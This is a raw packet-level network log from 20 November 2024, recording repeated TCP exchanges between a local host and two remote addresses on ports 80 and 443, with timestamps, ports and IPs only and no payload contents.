Nov 20, 2024 04:08:11.816482067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816498995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816504955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816517115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816534996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816540956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816560984 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816593885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816963911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817002058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817023993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817034960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817054033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817063093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817079067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817090034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817107916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817123890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817142963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817161083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817178011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817192078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817197084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817231894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817260981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817856073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817882061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817898989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.817914009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817941904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.817960024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818026066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818051100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818068981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818080902 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818087101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818099976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818106890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818120003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818123102 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818139076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818140984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818157911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818159103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818180084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818186998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818197966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818216085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818222046 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818243027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818249941 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818270922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818286896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818289042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818305016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818320990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818321943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818337917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818355083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818358898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818373919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818388939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818389893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818406105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818409920 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818438053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818443060 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818456888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818471909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818473101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818500996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818506956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818516970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818543911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818562031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818563938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818563938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818589926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818593025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818613052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818619967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818631887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818639040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818660021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818666935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818677902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818685055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818696022 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818706036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818713903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818725109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818732023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.818744898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818763971 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.818783045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.860064030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.860090017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.860106945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.860122919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.860146046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.860162020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.860179901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.860194921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.860224009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.860244989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886142969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886179924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886193037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886200905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886209965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886255026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886270046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886277914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886358976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886370897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886385918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886400938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886409998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886430979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886431932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886459112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886466026 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886473894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886487961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886492968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886509895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886522055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886527061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886554003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886559010 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886573076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886581898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886589050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886607885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886617899 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886626959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.886639118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.886678934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.900281906 CET	443	62445	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.900501013 CET	443	62445	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.900578022 CET	62445	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.900755882 CET	62445	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.900768995 CET	443	62445	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.900788069 CET	62445	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.900794983 CET	443	62445	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.903723001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903778076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.903829098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903846025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903868914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903872967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903884888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903886080 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.903896093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903907061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.903908968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903937101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903940916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.903964996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903980970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.903984070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.903996944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904011011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904012918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904027939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904043913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904052019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904056072 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904071093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904086113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904102087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904139042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904194117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904206991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904205084 CET	443	62446	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.904222012 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904236078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904243946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904253006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904261112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904263973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904275894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904294968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904299974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904315948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904329062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904331923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904345989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904360056 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904362917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904371977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904381037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904388905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904405117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904431105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904449940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904452085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904465914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904494047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904508114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904522896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904527903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904541969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904547930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904561043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904573917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904577017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904594898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904619932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904656887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904671907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904689074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904700994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904732943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904745102 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904761076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904778004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904786110 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904794931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904810905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.904820919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.904855013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.905572891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.905589104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.905605078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.905606031 CET	62449	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.905632019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.905633926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.905644894 CET	443	62449	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.905647993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.905662060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.905684948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.905706882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.905709028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.905723095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.905734062 CET	62449	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.905750990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.905766010 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.906410933 CET	443	62444	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.906493902 CET	62446	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.906532049 CET	443	62446	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.906550884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.906606913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.906610966 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.906636000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.906650066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.906672955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.906678915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.906689882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.906706095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.906718969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.906722069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.906738043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.906745911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.906785011 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.906785011 CET	443	62444	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.906837940 CET	62444	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.907124996 CET	62446	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.907130957 CET	443	62446	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.907151937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907167912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907183886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907202959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907238960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907308102 CET	62449	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.907332897 CET	443	62449	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.907340050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907355070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907371998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907385111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907387018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907403946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907406092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907422066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907429934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907449961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907466888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907468081 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907483101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907484055 CET	62444	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.907497883 CET	443	62444	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.907505989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907511950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907519102 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907526016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907531977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907538891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907540083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907540083 CET	62444	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.907551050 CET	443	62444	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.907558918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907565117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907572985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907578945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907582045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907589912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907594919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907612085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907623053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907627106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907640934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907644987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907661915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.907676935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.907711983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.910649061 CET	62450	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.910738945 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.910834074 CET	62450	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.911005020 CET	62450	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.911040068 CET	443	62450	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.939142942 CET	443	62447	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.939559937 CET	62447	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.939577103 CET	443	62447	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.940198898 CET	62447	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.940206051 CET	443	62447	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.948225021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.948241949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.948265076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.948296070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.948331118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.948349953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.948365927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.948383093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.948398113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.948409081 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.948415995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.948430061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.948481083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978243113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978262901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978291988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978308916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978315115 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978326082 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978339911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978353024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978357077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.978369951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978388071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.978404045 CET	80	62430	31.41.244.11	192.168.2.4
